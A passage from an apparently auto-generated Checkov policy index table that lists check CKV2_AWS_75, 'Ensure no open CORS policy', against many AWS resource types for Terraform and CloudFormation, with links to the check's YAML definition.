[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3067 | CKV2_AWS_75              | resource                         | aws_cognito_identity_provider                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3068 | CKV2_AWS_75              | resource                         | aws_cognito_identity_provider                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3069 | CKV2_AWS_75              | resource                         | aws_cognito_managed_user_pool_client                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3070 | CKV2_AWS_75              | resource                         | aws_cognito_managed_user_pool_client                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3071 | CKV2_AWS_75              | resource                         | aws_cognito_resource_server                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3072 | CKV2_AWS_75              | resource                         | aws_cognito_resource_server                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3073 | CKV2_AWS_75              | resource                         | aws_cognito_risk_configuration                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3074 | CKV2_AWS_75              | resource                         | aws_cognito_risk_configuration                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3075 | CKV2_AWS_75              | resource                         | aws_cognito_user                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3076 | CKV2_AWS_75              | resource                         | aws_cognito_user                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3077 | CKV2_AWS_75              | resource                         | aws_cognito_user_group                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3078 | CKV2_AWS_75              | resource                         | aws_cognito_user_group                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3079 | CKV2_AWS_75              | resource                         | aws_cognito_user_in_group                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3080 | CKV2_AWS_75              | resource                         | aws_cognito_user_in_group                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3081 | CKV2_AWS_75              | resource                         | aws_cognito_user_pool                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3082 | CKV2_AWS_75              | resource                         | aws_cognito_user_pool                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3083 | CKV2_AWS_75              | resource                         | aws_cognito_user_pool_client                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3084 | CKV2_AWS_75              | resource                         | aws_cognito_user_pool_client                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3085 | CKV2_AWS_75              | resource                         | aws_cognito_user_pool_domain                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3086 | CKV2_AWS_75              | resource                         | aws_cognito_user_pool_domain                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3087 | CKV2_AWS_75              | resource                         | aws_cognito_user_pool_ui_customization                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3088 | CKV2_AWS_75              | resource                         | aws_cognito_user_pool_ui_customization                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3089 | CKV2_AWS_75              | resource                         | aws_comprehend_document_classifier                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3090 | CKV2_AWS_75              | resource                         | aws_comprehend_document_classifier                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3091 | CKV2_AWS_75              | resource                         | aws_comprehend_entity_recognizer                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3092 | CKV2_AWS_75              | resource                         | aws_comprehend_entity_recognizer                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3093 | CKV2_AWS_75              | resource                         | aws_computeoptimizer_enrollment_status                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3094 | CKV2_AWS_75              | resource                         | aws_computeoptimizer_enrollment_status                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3095 | CKV2_AWS_75              | resource                         | aws_computeoptimizer_recommendation_preferences                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3096 | CKV2_AWS_75              | resource                         | aws_computeoptimizer_recommendation_preferences                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3097 | CKV2_AWS_75              | resource                         | aws_config_aggregate_authorization                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3098 | CKV2_AWS_75              | resource                         | aws_config_aggregate_authorization                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3099 | CKV2_AWS_75              | resource                         | aws_config_config_rule                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3100 | CKV2_AWS_75              | resource                         | aws_config_config_rule                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3101 | CKV2_AWS_75              | resource                         | aws_config_configuration_aggregator                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3102 | CKV2_AWS_75              | resource                         | aws_config_configuration_aggregator                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3103 | CKV2_AWS_75              | resource                         | aws_config_configuration_recorder                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3104 | CKV2_AWS_75              | resource                         | aws_config_configuration_recorder                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3105 | CKV2_AWS_75              | resource                         | aws_config_configuration_recorder_status                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3106 | CKV2_AWS_75              | resource                         | aws_config_configuration_recorder_status                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3107 | CKV2_AWS_75              | resource                         | aws_config_conformance_pack                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3108 | CKV2_AWS_75              | resource                         | aws_config_conformance_pack                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3109 | CKV2_AWS_75              | resource                         | aws_config_delivery_channel                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3110 | CKV2_AWS_75              | resource                         | aws_config_delivery_channel                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3111 | CKV2_AWS_75              | resource                         | aws_config_organization_conformance_pack                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3112 | CKV2_AWS_75              | resource                         | aws_config_organization_conformance_pack                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3113 | CKV2_AWS_75              | resource                         | aws_config_organization_custom_policy_rule                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3114 | CKV2_AWS_75              | resource                         | aws_config_organization_custom_policy_rule                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3115 | CKV2_AWS_75              | resource                         | aws_config_organization_custom_rule                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3116 | CKV2_AWS_75              | resource                         | aws_config_organization_custom_rule                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3117 | CKV2_AWS_75              | resource                         | aws_config_organization_managed_rule                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3118 | CKV2_AWS_75              | resource                         | aws_config_organization_managed_rule                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3119 | CKV2_AWS_75              | resource                         | aws_config_remediation_configuration                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3120 | CKV2_AWS_75              | resource                         | aws_config_remediation_configuration                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3121 | CKV2_AWS_75              | resource                         | aws_config_retention_configuration                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3122 | CKV2_AWS_75              | resource                         | aws_config_retention_configuration                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3123 | CKV2_AWS_75              | resource                         | aws_connect_bot_association                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3124 | CKV2_AWS_75              | resource                         | aws_connect_bot_association                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3125 | CKV2_AWS_75              | resource                         | aws_connect_contact_flow                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3126 | CKV2_AWS_75              | resource                         | aws_connect_contact_flow                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3127 | CKV2_AWS_75              | resource                         | aws_connect_contact_flow_module                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3128 | CKV2_AWS_75              | resource                         | aws_connect_contact_flow_module                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3129 | CKV2_AWS_75              | resource                         | aws_connect_hours_of_operation                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3130 | CKV2_AWS_75              | resource                         | aws_connect_hours_of_operation                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3131 | CKV2_AWS_75              | resource                         | aws_connect_instance                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3132 | CKV2_AWS_75              | resource                         | aws_connect_instance                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3133 | CKV2_AWS_75              | resource                         | aws_connect_instance_storage_config                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3134 | CKV2_AWS_75              | resource                         | aws_connect_instance_storage_config                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3135 | CKV2_AWS_75              | resource                         | aws_connect_lambda_function_association                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3136 | CKV2_AWS_75              | resource                         | aws_connect_lambda_function_association                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3137 | CKV2_AWS_75              | resource                         | aws_connect_phone_number                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3138 | CKV2_AWS_75              | resource                         | aws_connect_phone_number                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3139 | CKV2_AWS_75              | resource                         | aws_connect_queue                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3140 | CKV2_AWS_75              | resource                         | aws_connect_queue                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3141 | CKV2_AWS_75              | resource                         | aws_connect_quick_connect                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3142 | CKV2_AWS_75              | resource                         | aws_connect_quick_connect                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3143 | CKV2_AWS_75              | resource                         | aws_connect_routing_profile                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3144 | CKV2_AWS_75              | resource                         | aws_connect_routing_profile                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3145 | CKV2_AWS_75              | resource                         | aws_connect_security_profile                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3146 | CKV2_AWS_75              | resource                         | aws_connect_security_profile                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3147 | CKV2_AWS_75              | resource                         | aws_connect_user                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3148 | CKV2_AWS_75              | resource                         | aws_connect_user                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3149 | CKV2_AWS_75              | resource                         | aws_connect_user_hierarchy_group                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3150 | CKV2_AWS_75              | resource                         | aws_connect_user_hierarchy_group                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3151 | CKV2_AWS_75              | resource                         | aws_connect_user_hierarchy_structure                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3152 | CKV2_AWS_75              | resource                         | aws_connect_user_hierarchy_structure                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3153 | CKV2_AWS_75              | resource                         | aws_connect_vocabulary                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3154 | CKV2_AWS_75              | resource                         | aws_connect_vocabulary                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3155 | CKV2_AWS_75              | resource                         | aws_controltower_control                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3156 | CKV2_AWS_75              | resource                         | aws_controltower_control                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3157 | CKV2_AWS_75              | resource                         | aws_controltower_landing_zone                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3158 | CKV2_AWS_75              | resource                         | aws_controltower_landing_zone                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3159 | CKV2_AWS_75              | resource                         | aws_costoptimizationhub_enrollment_status                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | 